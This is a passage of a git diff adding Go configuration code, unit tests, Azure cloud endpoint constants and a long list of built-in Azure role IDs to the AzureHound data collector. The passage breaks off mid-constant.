distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package config + +import ( + "fmt" + "net/url" + + client "github.com/bloodhoundad/azurehound/v2/client/config" + config "github.com/bloodhoundad/azurehound/v2/config/internal" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/go-logr/logr" +) + +var Init = config.Init +var LoadValues = config.LoadValues + +func SetAzureDefaults() { + if AzAuthUrl.Value() == "" { + region := AzRegion.Value().(string) + url := client.AuthorityUrl(region, constants.AzureCloud().ActiveDirectoryAuthority) + AzAuthUrl.Set(url) + } + + if AzGraphUrl.Value() == "" { + region := AzRegion.Value().(string) + url := client.GraphUrl(region, constants.AzureCloud().MicrosoftGraphUrl) + AzGraphUrl.Set(url) + } + + if AzMgmtUrl.Value() == "" { + region := AzRegion.Value().(string) + url := client.ResourceManagerUrl(region, constants.AzureCloud().ResourceManagerUrl) + AzMgmtUrl.Set(url) + } +} + +func CheckCollectionConfigSanity(log logr.Logger) { + useSaneIntValues(ColBatchSize, log) + useSaneIntValues(ColMaxConnsPerHost, log) + useSaneIntValues(ColMaxIdleConnsPerHost, log) + useSaneIntValues(ColStreamCount, log) +} + +func useSaneIntValues(c config.Config, log logr.Logger) { + val := c.Value().(int) + if val < c.MinValue { + log.V(1).Info(fmt.Sprintf("Provided value %d for config option %s is less than minimum value %d. Using default value %d.", val, c.Name, c.MinValue, c.Default)) + c.Set(c.Default) + } else if val > c.MaxValue { + log.V(1).Info(fmt.Sprintf("Provided value %d for config option %s is greater than maximum value %d. Using default value %d.", val, c.Name, c.MaxValue, c.Default)) + c.Set(c.Default) + } +} + +func ValidateURL(input string) error { + if parsedURL, err := url.Parse(input); err != nil { + return err + } else if parsedURL.Scheme == "" || parsedURL.Host == "" { + return fmt.Errorf("invalid URL") + } else { + return nil + } +} + +func Options() config.Options { + return config.Options{ + ConfigFile: ConfigFile.Value().(string), + ConfigName: "config", + ConfigPaths: SystemConfigDirs(), + EnvPrefix: EnvPrefix, + } +} diff --git a/config/utils_test.go b/config/utils_test.go new file mode 100644 index 0000000..9fafccc --- /dev/null +++ b/config/utils_test.go @@ -0,0 +1,75 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package config_test + +import ( + "testing" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/logger" +) + +func TestCheckCollectionConfigSanity(t *testing.T) { + config.JsonLogs.Set(true) + + if logr, err := logger.GetLogger(); err != nil { + t.Errorf("Error creating logger: %v", err) + } else { + log := *logr + config.CheckCollectionConfigSanity(log) + + if config.ColBatchSize.Value().(int) != config.ColBatchSize.Default { + t.Errorf("ColBatchSize did not have the default value of %d. Actual: %d", config.ColBatchSize.Default, config.ColBatchSize.Value()) + } + + if config.ColMaxConnsPerHost.Value().(int) != config.ColMaxConnsPerHost.Default { + t.Errorf("ColMaxConnsPerHost did not have the default value of %d. Actual: %d", config.ColMaxConnsPerHost.Default, config.ColMaxConnsPerHost.Value()) + } + + if config.ColMaxIdleConnsPerHost.Value().(int) != config.ColMaxIdleConnsPerHost.Default { + t.Errorf("ColMaxIdleConnsPerHost did not have the default value of %d. Actual: %d", config.ColMaxIdleConnsPerHost.Default, config.ColMaxIdleConnsPerHost.Value()) + } + + if config.ColStreamCount.Value().(int) != config.ColStreamCount.Default { + t.Errorf("ColStreamCount did not have the default value of %d. Actual: %d", config.ColStreamCount.Default, config.ColStreamCount.Value()) + } + } +} + +func TestCheckCollectionConfigSanityOutOfBounds(t *testing.T) { + config.JsonLogs.Set(true) + + if logr, err := logger.GetLogger(); err != nil { + t.Errorf("Error creating logger: %v", err) + } else { + log := *logr + + config.ColBatchSize.Set(9999) + config.ColMaxConnsPerHost.Set(-9999) + + config.CheckCollectionConfigSanity(log) + + if config.ColBatchSize.Value().(int) != config.ColBatchSize.Default { + t.Errorf("ColBatchSize should have reverted to the default value of %d. Actual: %d", config.ColBatchSize.Default, config.ColBatchSize.Value()) + } + + if config.ColMaxConnsPerHost.Value().(int) != config.ColMaxConnsPerHost.Default { + t.Errorf("ColMaxConnsPerHost should have reverted to the default value of %d. Actual: %d", config.ColMaxConnsPerHost.Default, config.ColMaxConnsPerHost.Value()) + } + } +} diff --git a/constants/environments.go b/constants/environments.go new file mode 100644 index 0000000..12395c3 --- /dev/null +++ b/constants/environments.go @@ -0,0 +1,71 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package constants + +// Azure deployment regions +const ( + China string = "china" + Cloud string = "cloud" + Germany string = "germany" + USGovL4 string = "usgovl4" + USGovL5 string = "usgovl5" +) + +type Environment struct { + ActiveDirectoryAuthority string + MicrosoftGraphUrl string + ResourceManagerUrl string +} + +func AzureCloud() Environment { + return Environment{ + "https://login.microsoftonline.com", + "https://graph.microsoft.com", + "https://management.azure.com", + } +} + +func AzureUSGovernment() Environment { + return Environment{ + "https://login.microsoftonline.us", + "https://graph.microsoft.us", + "https://management.usgovcloudapi.net", + } +} + +func AzureUSGovernmentL5() Environment { + env := AzureUSGovernment() + env.MicrosoftGraphUrl = "https://dod-graph.microsoft.us" + return env +} + +func AzureChina() Environment { + return Environment{ + "https://login.chinacloudapi.cn", + "https://microsoftgraph.chinacloudapi.cn", + "https://management.chinacloudapi.cn", + } +} + +func AzureGermany() Environment { + return Environment{ + "https://login.microsoftonline.de", + "https://graph.microsoft.de", + "https://management.microsoftazure.de", + } +} diff --git a/constants/misc.go b/constants/misc.go new file mode 100644 index 0000000..c90648d --- /dev/null +++ b/constants/misc.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package constants + +import "fmt" + +// AzureHound version +// This gets populated at build time when the command being run uses the following flag: +// -ldflags "-X github.com/bloodhoundad/azurehound/v2/constants.Version=`git describe --tags --exact-match 2> /dev/null || git rev-parse HEAD`" +var Version string = "v0.0.0" + +const ( + Name string = "azurehound" + DisplayName string = "AzureHound" + Description string = "The official tool for collecting Azure data for BloodHound and BloodHound Enterprise" + AuthorRef string = "Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io" + AzPowerShellClientID string = "1950a258-227b-4e31-a9cf-717495945fc2" +) + +// Returns a properly formatted value for the User-Agent header +func UserAgent() string { + return fmt.Sprintf("%s/%s", Name, Version) +} + +// Azure Services +const ( + GraphApiBetaVersion string = "beta" + GraphApiVersion string = "v1.0" +) diff --git a/constants/roles.go b/constants/roles.go new file mode 100644 index 0000000..b7ad549 --- /dev/null +++ b/constants/roles.go @@ -0,0 +1,1370 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package constants + +// Azure AD built-in roles +// See https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference for more info. +const ( + // Can create and manage all aspects of app registrations and enterprise apps. + ApplicationAdministratorRoleID string = "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3" + + // Can create application registrations independent of the 'Users can register applications' setting. + ApplicationDeveloperRoleID string = "cf1c38e5-3621-4004-a7cb-879624dced7c" + + // Can create attack payloads that an administrator can initiate later. + AttackPayloadAuthorRoleID string = "9c6df0f2-1e7c-4dc3-b195-66dfbd24aa8f" + + // Can create and manage all aspects of attack simulation campaigns. + AttackSimulationAdministratorRoleID string = "c430b396-e693-46cc-96f3-db01bf8bb62a" + + // Assign custom security attribute keys and values to supported Azure AD objects. + AttributeAssignmentAdministratorRoleID string = "58a13ea3-c632-46ae-9ee0-9c0d43cd7f3d" + + // Read custom security attribute keys and values for supported Azure AD objects. + AttributeAssignmentReaderRoleID string = "ffd52fa5-98dc-465c-991d-fc073eb59f8f" + + // Define and manage the definition of custom security attributes. + AttributeDefinitionAdministratorRoleID string = "8424c6f0-a189-499e-bbd0-26c1753c96d4" + + // Read the definition of custom security attributes. + AttributeDefinitionReaderRoleID string = "1d336d2c-4ae8-42ef-9711-b3604ce3fc2c" + + // Can access to view, set and reset authentication method information for any non-admin user. + AuthenticationAdministratorRoleID string = "c4e39bd9-1100-46d3-8c65-fb160da0071f" + + // Can create and manage the authentication methods policy, tenant-wide MFA settings, password protection policy, and verifiable credentials. + AuthenticationPolicyAdministratorRoleID string = "0526716b-113d-4c15-b2c8-68e3c22b9f80" + + // Users assigned to this role are added to the local administrators group on Azure AD-joined devices. + AzureADJoinedDeviceLocalAdministratorRoleID string = "9f06204d-73c1-4d4c-880a-6edb90606fd8" + + // Can manage Azure DevOps organization policy and settings. + AzureDevOpsAdministratorRoleID string = "e3973bdf-4987-49ae-837a-ba8e231c7286" + + // Can manage all aspects of the Azure Information Protection product. + AzureInformationProtectionAdministratorRoleID string = "7495fdc4-34c4-4d15-a289-98788ce399fd" + + // Can manage secrets for federation and encryption in the Identity Experience Framework (IEF). + B2CIEFKeysetAdministratorRoleID string = "aaf43236-0c0d-4d5f-883a-6955382ac081" + + // Can create and manage trust framework policies in the Identity Experience Framework (IEF). + B2CIEFPolicyAdministratorRoleID string = "3edaf663-341e-4475-9f94-5c398ef6c070" + + // Can perform common billing related tasks like updating payment information. + BillingAdministratorRoleID string = "b0f54661-2d74-4c50-afa3-1ec803f12efe" + + // Can manage all aspects of the Cloud App Security product. + CloudAppSecurityAdministratorRoleID string = "892c5842-a9a6-463a-8041-72aa08ca3cf6" + + // Can create and manage all aspects of app registrations and enterprise apps except App Proxy. + CloudApplicationAdministratorRoleID string = "158c047a-c907-4556-b7ef-446551a6b5f7" + + // Limited access to manage devices in Azure AD. + CloudDeviceAdministratorRoleID string = "7698a772-787b-4ac8-901f-60d6b08affd2" + + // Can read and manage compliance configuration and reports in Azure AD and Microsoft 365. + ComplianceAdministratorRoleID string = "17315797-102d-40b4-93e0-432062caca18" + + // Creates and manages compliance content. + ComplianceDataAdministratorRoleID string = "e6d1a23a-da11-4be4-9570-befc86d067a7" + + // Can manage Conditional Access capabilities. + ConditionalAccessAdministratorRoleID string = "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9" + + // Can approve Microsoft support requests to access customer organizational data. + CustomerLockBoxAccessApproverRoleID string = "5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91" + + // Can access and manage Desktop management tools and services. + DesktopAnalyticsAdministratorRoleID string = "38a96431-2bdf-4b4c-8b6e-5d3d8abac1a4" + + // Deprecated - Do Not Use. + DeviceJoinRoleID string = "9c094953-4995-41c8-84c8-3ebb9b32c93f" + + // Deprecated - Do Not Use. + DeviceManagersRoleID string = "2b499bcd-da44-4968-8aec-78e1674fa64d" + + // Deprecated - Do Not Use. + DeviceUsersRoleID string = "d405c6df-0af8-4e3b-95e4-4d06e542189e" + + // Can read basic directory information. Commonly used to grant directory read access to applications and guests. + DirectoryReadersRoleID string = "88d8e3e3-8f55-4a1e-953a-9b9898b8876b" + + // Only used by Azure AD Connect service. + DirectorySynchronizationAccountsRoleID string = "d29b2b05-8046-44ba-8758-1e26182fcf32" + + // Can read and write basic directory information. For granting access to applications, not intended for users. + DirectoryWritersRoleID string = "9360feb5-f418-4baa-8175-e2a00bac4301" + + // Can manage domain names in cloud and on-premises. + DomainNameAdministratorRoleID string = "8329153b-31d0-4727-b945-745eb3bc5f31" + + // Can manage all aspects of the Dynamics 365 product. + Dynamics365AdministratorRoleID string = "44367163-eba1-44c3-98af-f5787879f96a" + + // Manage all aspects of Microsoft Edge. + EdgeAdministratorRoleID string = "3f1acade-1e04-4fbc-9b69-f0302cd84aef" + + // Can manage all aspects of the Exchange product. + ExchangeAdministratorRoleID string = "29232cdf-9323-42fd-ade2-1d097af3e4de" + + // Can create or update Exchange Online recipients within the Exchange Online organization. + ExchangeRecipientAdministratorRoleID string = "31392ffb-586c-42d1-9346-e59415a2cc4e" + + // Can create and manage all aspects of user flows. + ExternalIDUserFlowAdministratorRoleID string = "6e591065-9bad-43ed-90f3-e9424366d2f0" + + // Can create and manage the attribute schema available to all user flows. + ExternalIDUserFlowAttributeAdministratorRoleID string = "0f971eea-41eb-4569-a71e-57bb8a3eff1e" + + // Can configure identity providers for use in direct federation. + ExternalIdentityProviderAdministratorRoleID string = "be2f45a1-457d-42af-a067-6ec1fa63bc45" + + // Can manage all aspects of Azure AD and Microsoft services that use Azure AD identities. + GlobalAdministratorRoleID string = "62e90394-69f5-4237-9190-012177145e10" + + // Can read everything that a Global Administrator can, but not update anything. + GlobalReaderRoleID string = "f2ef992c-3afb-46b9-b7cf-a126ee74c451" + + // Members of this role can create/manage groups, create/manage groups settings like naming and expiration policies, and view groups activity and audit reports. + GroupsAdministratorRoleID string = "fdd7a751-b60b-444a-984c-02652fe8fa1c" + + // Can invite guest users independent of the 'members can invite guests' setting. + GuestInviterRoleID string = "95e79109-95c0-4d8e-aee3-d01accf2d47b" + + // Default role for guest users. Can read a limited set of directory information. + GuestUserRoleID string = "10dae51f-b6af-4016-8d66-8c2a99b929b3" + + // Can reset passwords for non-administrators and Helpdesk Administrators. + HelpdeskAdministratorRoleID string = "729827e3-9c14-49f7-bb1b-9608f156bbb8" + + // Can manage AD to Azure AD cloud provisioning, Azure AD Connect, and federation settings. + HybridIdentityAdministratorRoleID string = "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2" + + // Manage access using Azure AD for identity governance scenarios. + IdentityGovernanceAdministratorRoleID string = "45d8d3c5-c802-45c6-b32a-1d70b5e1e86e" + + // Has administrative access in the Microsoft 365 Insights app. + InsightsAdministratorRoleID string = "eb1f4a8d-243a-41f0-9fbd-c7cdf6c5ef7c" + + // Access the analytical capabilities in Microsoft Viva Insights and run custom queries. + InsightsAnalystRoleID string = "25df335f-86eb-4119-b717-0ff02de207e9" + + // Can view and share dashboards and insights via the M365 Insights app. + InsightsBusinessLeaderRoleID string = "31e939ad-9672-4796-9c2e-873181342d2d" + + // Can manage all aspects of the Intune product. + IntuneAdministratorRoleID string = "3a2c62db-5318-420d-8d74-23affee5d9d5" + + // Can manage settings for Microsoft Kaizala. + KaizalaAdministratorRoleID string = "74ef975b-6605-40af-a5d2-b9539d836353" + + // Can configure knowledge, learning, and other intelligent features. + KnowledgeAdministratorRoleID string = "b5a8dcf3-09d5-43a9-a639-8e29ef291470" + + // Has access to topic management dashboard and can manage content. + KnowledgeManagerRoleID string = "744ec460-397e-42ad-a462-8b3f9747a02c" + + // Can manage product licenses on users and groups. + LicenseAdministratorRoleID string = "4d6ac14f-3453-41d0-bef9-a3e0c569773a" + + // Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Azure AD. + LifecycleWorkflowsAdministratorRoleID string = "59d46f88-662b-457b-bceb-5c3809e5908f" + + // Can read security messages and updates in Office 365 Message Center only. + MessageCenterPrivacyReaderRoleID string = "ac16e43d-7b2d-40e0-ac05-243ff356ab5b" + + // Can read messages and updates for their organization in Office 365 Message Center only. + MessageCenterReaderRoleID string = "790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b" + + // Can manage network locations and review enterprise network design insights for Microsoft 365 Software as a Service applications. + NetworkAdministratorRoleID string = "d37c8bed-0711-4417-ba38-b4abe66ce4c2" + + // Can manage Office apps cloud services, including policy and settings management, and manage the ability to select, unselect and publish 'what's new' feature content to end-user's devices. + OfficeAppsAdministratorRoleID string = "2b745bdf-0803-4d80-aa65-822c4493daac" + + // Do not use - not intended for general use. + PartnerTier1SupportRoleID string = "4ba39ca4-527c-499a-b93d-d9b492c50246" + + // Do not use - not intended for general use. + PartnerTier2SupportRoleID string = "e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8" + + // Can reset passwords for non-administrators and Password Administrators. + PasswordAdministratorRoleID string = "966707d0-3269-4727-9be2-8c3a10f19b9d" + + // Manage all aspects of Entra Permissions Management. + PermissionsManagementAdministratorRoleID string = "af78dc32-cf4d-46f9-ba4e-4428526346b5" + + // Can manage all aspects of the Power BI product. + PowerBIAdministratorRoleID string = "a9ea8996-122f-4c74-9520-8edcd192826c" + + // Can create and manage all aspects of Microsoft Dynamics 365, PowerApps and Microsoft Flow. + PowerPlatformAdministratorRoleID string = "11648597-926c-4cf3-9c36-bcebb0ba8dcc" + + // Can manage all aspects of printers and printer connectors. + PrinterAdministratorRoleID string = "644ef478-e28f-4e28-b9dc-3fdde9aa0b1f" + + // Can register and unregister printers and update printer status. + PrinterTechnicianRoleID string = "e8cef6f1-e4bd-4ea8-bc07-4b8d950f4477" + + // Can access to view, set and reset authentication method information for any user (admin or non-admin). + PrivilegedAuthenticationAdministratorRoleID string = "7be44c8a-adaf-4e2a-84d6-ab2649e08a13" + + // Can manage role assignments in Azure AD, and all aspects of Privileged Identity Management. + PrivilegedRoleAdministratorRoleID string = "e8611ab8-c189-46e8-94e1-60213ab1f814" + + // Can read sign-in and audit reports. + ReportsReaderRoleID string = "4a5d8f65-41da-4de4-8968-e035b65339cf" + + // Restricted role for guest users. Can read a limited set of directory information. + RestrictedGuestUserRoleID string = "2af84b1e-32c8-42b7-82bc-daa82404023b" + + // Can create and manage all aspects of Microsoft Search settings. + SearchAdministratorRoleID string = "0964bb5e-9bdb-4d7b-ac29-58e794862a40" + + // Can create and manage the editorial content such as bookmarks, Q and As, locations, floorplan. + SearchEditorRoleID string = "8835291a-918c-4fd7-a9ce-faa49f0cf7d9" + + // Can read security information and reports, and manage configuration in Azure AD and Office 365. + SecurityAdministratorRoleID string = "194ae4cb-b126-40b2-bd5b-6091b380977d" + + // Creates and manages security events. + SecurityOperatorRoleID string = "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f" + + // Can read security information and reports in Azure AD and Office 365. + SecurityReaderRoleID string = "5d6b6bb7-de71-4623-b4af-96380a352509" + + // Can read service health information and manage support tickets. + ServiceSupportAdministratorRoleID string = "f023fd81-a637-4b56-95fd-791ac0226033" + + // Can manage all aspects of the SharePoint service. + SharePointAdministratorRoleID string = "f28a1f50-f6e7-4571-818b-6a12f2af6b6c" + + // Can manage all aspects of the Skype for Business product. + SkypeforBusinessAdministratorRoleID string = "75941009-915a-4869-abe7-691bff18279e" + + // Can manage the Microsoft Teams service. + TeamsAdministratorRoleID string = "69091246-20e8-4a56-aa4d-066075b2a7a8" + + // Can manage calling and meetings features within the Microsoft Teams service. + TeamsCommunicationsAdministratorRoleID string = "baf37b3a-610e-45da-9e62-d9d1e5e8914b" + + // Can troubleshoot communications issues within Teams using advanced tools. + TeamsCommunicationsSupportEngineerRoleID string = "f70938a0-fc10-4177-9e90-2178f8765737" + + // Can troubleshoot communications issues within Teams using basic tools. + TeamsCommunicationsSupportSpecialistRoleID string = "fcf91098-03e3-41a9-b5ba-6f0ec8188a12" + + // Can perform management related tasks on Teams certified devices. + TeamsDevicesAdministratorRoleID string = "3d762c5a-1b6c-493f-843e-55a3b42923d4" + + // Can see only tenant level aggregates in Microsoft 365 Usage Analytics and Productivity Score. + UsageSummaryReportsReaderRoleID string = "75934031-6c7e-415a-99d7-48dbd49e875e" + + // Default role for member users. Can read all and write a limited set of directory information. + UserRoleID string = "a0b1b346-4d3e-4e8b-98f8-753987be4970" + + // Can manage all aspects of users and groups, including resetting passwords for limited admins. + UserAdministratorRoleID string = "fe930be7-5e62-47db-91af-98c3a49a38b1" + + // Manage and share Virtual Visits information and metrics from admin centers or the Virtual Visits app. + VirtualVisitsAdministratorRoleID string = "e300d9e7-4a2b-4295-9eff-f1c78b36cc98" + + // Can provision and manage all aspects of Cloud PCs. + Windows365AdministratorRoleID string = "11451d60-acb2-45eb-a7d6-43d0f0125c13" + + // Can create and manage all aspects of Windows Update deployments through the Windows Update for Business deployment service. + WindowsUpdateDeploymentAdministratorRoleID string = "32696413-001a-46ae-978c-ce0f6b3620d2" + + // Deprecated - Do Not Use. + WorkplaceDeviceJoinRoleID string = "c34f683f-4d5a-4403-affd-6615e00e3a7f" + + // Manage all aspects of the Yammer service. + YammerAdministratorRoleID string = "810a2642-a034-447f-a5e8-41beaa378541" +) + +// Azure ARM roles +// See https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles +const ( + // Can customize the developer portal, edit its content, and publish it. + APIManagementDeveloperPortalContentEditorRoleID string = "c031e6a8-4391-4de0-8d69-4706a7ed3729" + + // Can manage service and the APIs + APIManagementServiceContributorRoleID string = "312a565d-c81f-4fd8-895a-4e21e48d571c" + + // Can manage service but not the APIs + APIManagementServiceOperatorRoleID string = "e022efe7-f5ba-4159-bbe4-b44f577e9b61" + + // Read-only access to service and APIs + APIManagementServiceReaderRoleID string = "71522526-b88f-4d52-b57f-d31fc3546d0d" + + // Lets you grant Access Review System app permissions to discover and revoke access as needed by the access review process. + AccessReviewOperatorServiceRoleID string = "76cc9ee4-d5d3-4a45-a930-26add3d73475" + + // acr delete + AcrDeleteRoleID string = "c2f4ef07-c644-48eb-af81-4b1b4947fb11" + + // acr image signer + AcrImageSignerRoleID string = "6cef56e8-d556-48e5-a04f-b8e64114680f" + + // acr pull + AcrPullRoleID string = "7f951dda-4ed3-4680-a7ca-43fe172d538d" + + // acr push + AcrPushRoleID string = "8311e382-0749-4cb8-b61a-304f252e45ec" + + // acr quarantine data reader + AcrQuarantineReaderRoleID string = "cdda3590-29a3-44f6-95f2-9f980659eb04" + + // acr quarantine data writer + AcrQuarantineWriterRoleID string = "c8d4ff99-41c3-41a8-9f60-21dfdad59608" + + // Provides contribute access to manage sensor related entities in AgFood Platform Service + AgFoodPlatformSensorPartnerContributorRoleID string = "6b77f0a0-0d89-41cc-acd1-579c22c17a67" + + // Provides admin access to AgFood Platform Service + AgFoodPlatformServiceAdminRoleID string = "f8da80de-1ff9-4747-ad80-a19b7f6079e3" + + // Provides contribute access to AgFood Platform Service + AgFoodPlatformServiceContributorRoleID string = "8508508a-4469-4e45-963b-2518ee0bb728" + + // Provides read access to AgFood Platform Service + AgFoodPlatformServiceReaderRoleID string = "7ec7ccdc-f61e-41fe-9aaf-980df0a44eba" + + // Basic user role for AnyBuild. This role allows listing of agent information and execution of remote build capabilities. + AnyBuildBuilderRoleID string = "a2138dac-4907-4679-a376-736901ed8ad8" + + // Allows full access to App Configuration data. + AppConfigurationDataOwnerRoleID string = "5ae67dd6-50cb-40e7-96ff-dc2bfa4b606b" + + // Allows read access to App Configuration data. + AppConfigurationDataReaderRoleID string = "516239f1-63e1-4d78-a4de-a74fb236a071" + + // Contributor of the Application Group. + ApplicationGroupContributorRoleID string = "ca6382a4-1721-4bcf-a114-ff0c70227b6b" + + // Can manage Application Insights components + ApplicationInsightsComponentContributorRoleID string = "ae349356-3a1b-4a5e-921d-050484c6347e" + + // Gives user permission to use Application Insights Snapshot Debugger features + ApplicationInsightsSnapshotDebuggerRoleID string = "08954f03-6346-4c2e-81c0-ec3a5cfae23b" + + // Can read write or delete the attestation provider instance + AttestationContributorRoleID string = "bbf86eb8-f7b4-4cce-96e4-18cddf81d86e" + + // Can read the attestation provider properties + AttestationReaderRoleID string = "fd1bd22b-8476-40bc-a0bc-69b95687b9f3" + + // Manage azure automation resources and other resources using azure automation. + AutomationContributorRoleID string = "f353d9bd-d4a6-484e-a77a-8050b599b867" + + // Create and Manage Jobs using Automation Runbooks. + AutomationJobOperatorRoleID string = "4fe576fe-1146-4730-92eb-48519fa6bf9f" + + // Automation Operators are able to start, stop, suspend, and resume jobs + AutomationOperatorRoleID string = "d3881f73-407a-4167-8283-e981cbba0404" + + // Read Runbook properties - to be able to create Jobs of the runbook. + AutomationRunbookOperatorRoleID string = "5fb5aef8-1081-4b8e-bb16-9d5d0385bab5" + + // Grants permissions to upload and manage new Autonomous Development Platform measurements. + AutonomousDevelopmentPlatformDataContributorRoleID string = "b8b15564-4fa6-4a59-ab12-03e1d9594795" + + // Grants full access to Autonomous Development Platform data. + AutonomousDevelopmentPlatformDataOwnerRoleID string = "27f8b550-c507-4db9-86f2-f4b8e816d59d" + + // Grants read access to Autonomous Development Platform data. + AutonomousDevelopmentPlatformDataReaderRoleID string = "d63b75f7-47ea-4f27-92ac-e0d173aaf093" + + // Can create and manage an Avere vFXT cluster. + AvereContributorRoleID string = "4f8fab4f-1852-4a58-a46a-8eaf358af14a" + + // Used by the Avere vFXT cluster to manage the cluster + AvereOperatorRoleID string = "c025889f-8102-4ebf-b32c-fc0c6f0c6bd9" + + // List cluster user credentials action. + AzureArcEnabledKubernetesClusterUserRoleID string = "00493d72-78f6-4148-b6c5-d3ce8e4799dd" + + // Lets you manage all resources under cluster/namespace, except update or delete resource quotas and namespaces. + AzureArcKubernetesAdminRoleID string = "dffb1e0c-446f-4dde-a09f-99eb5cc68b96" + + // Lets you manage all resources in the cluster. + AzureArcKubernetesClusterAdminRoleID string = "8393591c-06b9-48a2-a542-1bd6b377f6a2" + + // Lets you view all resources in cluster/namespace, except secrets. + AzureArcKubernetesViewerRoleID string = "63f0a09d-1495-4db4-a681-037d84835eb4" + + // Lets you update everything in cluster/namespace, except (cluster)roles and (cluster)role bindings. + AzureArcKubernetesWriterRoleID string = "5b999177-9696-4545-85c7-50de3797e5a1" + + // Arc ScVmm VM Administrator has permissions to perform all ScVmm actions. + AzureArcScVmmAdministratorRoleID string = "a92dfd61-77f9-4aec-a531-19858b406c87" + + // Azure Arc ScVmm Private Cloud User has permissions to use the ScVmm resources to deploy VMs. + AzureArcScVmmPrivateCloudUserRoleID string = "c0781e91-8102-4553-8951-97c6d4243cda" + + // Azure Arc ScVmm Private Clouds Onboarding role has permissions to provision all the required resources for onboard and deboard vmm server instances to Azure. + AzureArcScVmmPrivateCloudsOnboardingRoleID string = "6aac74c4-6311-40d2-bbdd-7d01e7c6e3a9" + + // Arc ScVmm VM Contributor has permissions to perform all VM actions. + AzureArcScVmmVMContributorRoleID string = "e582369a-e17b-42a5-b10c-874c387c530b" + + // Arc VMware VM Contributor has permissions to perform all connected VMwarevSphere actions. + AzureArcVMwareAdministratorRoleID string = "ddc140ed-e463-4246-9145-7c664192013f" + + // Azure Arc VMware Private Cloud User has permissions to use the VMware cloud resources to deploy VMs. + AzureArcVMwarePrivateCloudUserRoleID string = "ce551c02-7c42-47e0-9deb-e3b6fc3a9a83" + + // Azure Arc VMware Private Clouds Onboarding role has permissions to provision all the required resources for onboard and deboard vCenter instances to Azure. + AzureArcVMwarePrivateCloudsOnboardingRoleID string = "67d33e57-3129-45e6-bb0b-7cc522f762fa" + + // Arc VMware VM Contributor has permissions to perform all VM actions. + AzureArcVMwareVMContributorRoleID string = "b748a06d-6150-4f8a-aaa9-ce3940cd96cb" + + // Can onboard Azure Connected Machines. + AzureConnectedMachineOnboardingRoleID string = "b64e21ea-ac4e-4cdf-9dc9-5b892992bee7" + + // Can read, write, delete and re-onboard Azure Connected Machines. + AzureConnectedMachineResourceAdministratorRoleID string = "cd570a14-e51a-42ad-bac8-bafd67325302" + + // Microsoft.AzureArcData service role to access the resources of Microsoft.AzureArcData stored with RPSAAS. + AzureConnectedSQLServerOnboardingRoleID string = "e8113dce-c529-4d33-91fa-e9b972617508" + + // Full access role for Digital Twins data-plane + AzureDigitalTwinsDataOwnerRoleID string = "bcd981a7-7f74-457b-83e1-cceb9e632ffe" + + // Read-only role for Digital Twins data-plane properties + AzureDigitalTwinsDataReaderRoleID string = "d57506d4-4c8d-48b1-8587-93c323f6a5a3" + + // Allows for full access to Azure Event Hubs resources. + AzureEventHubsDataOwnerRoleID string = "f526a384-b230-433a-b45c-95f59c4a2dec" + + // Allows receive access to Azure Event Hubs resources. + AzureEventHubsDataReceiverRoleID string = "a638d3c7-ab3a-418d-83e6-5f17a39d4fde" + + // Allows send access to Azure Event Hubs resources. + AzureEventHubsDataSenderRoleID string = "2b629674-e913-4c01-ae53-ef4638d8f975" + + // List cluster admin credential action. + AzureKubernetesServiceClusterAdminRoleID string = "0ab0b1a8-8aac-4efd-b8c2-3ee1fb270be8" + + // List cluster user credential action. + AzureKubernetesServiceClusterUserRoleID string = "4abbcc35-e782-43d8-92c5-2d3f1bd2253f" + + // Grants access to read and write Azure Kubernetes Service clusters + AzureKubernetesServiceContributorRoleID string = 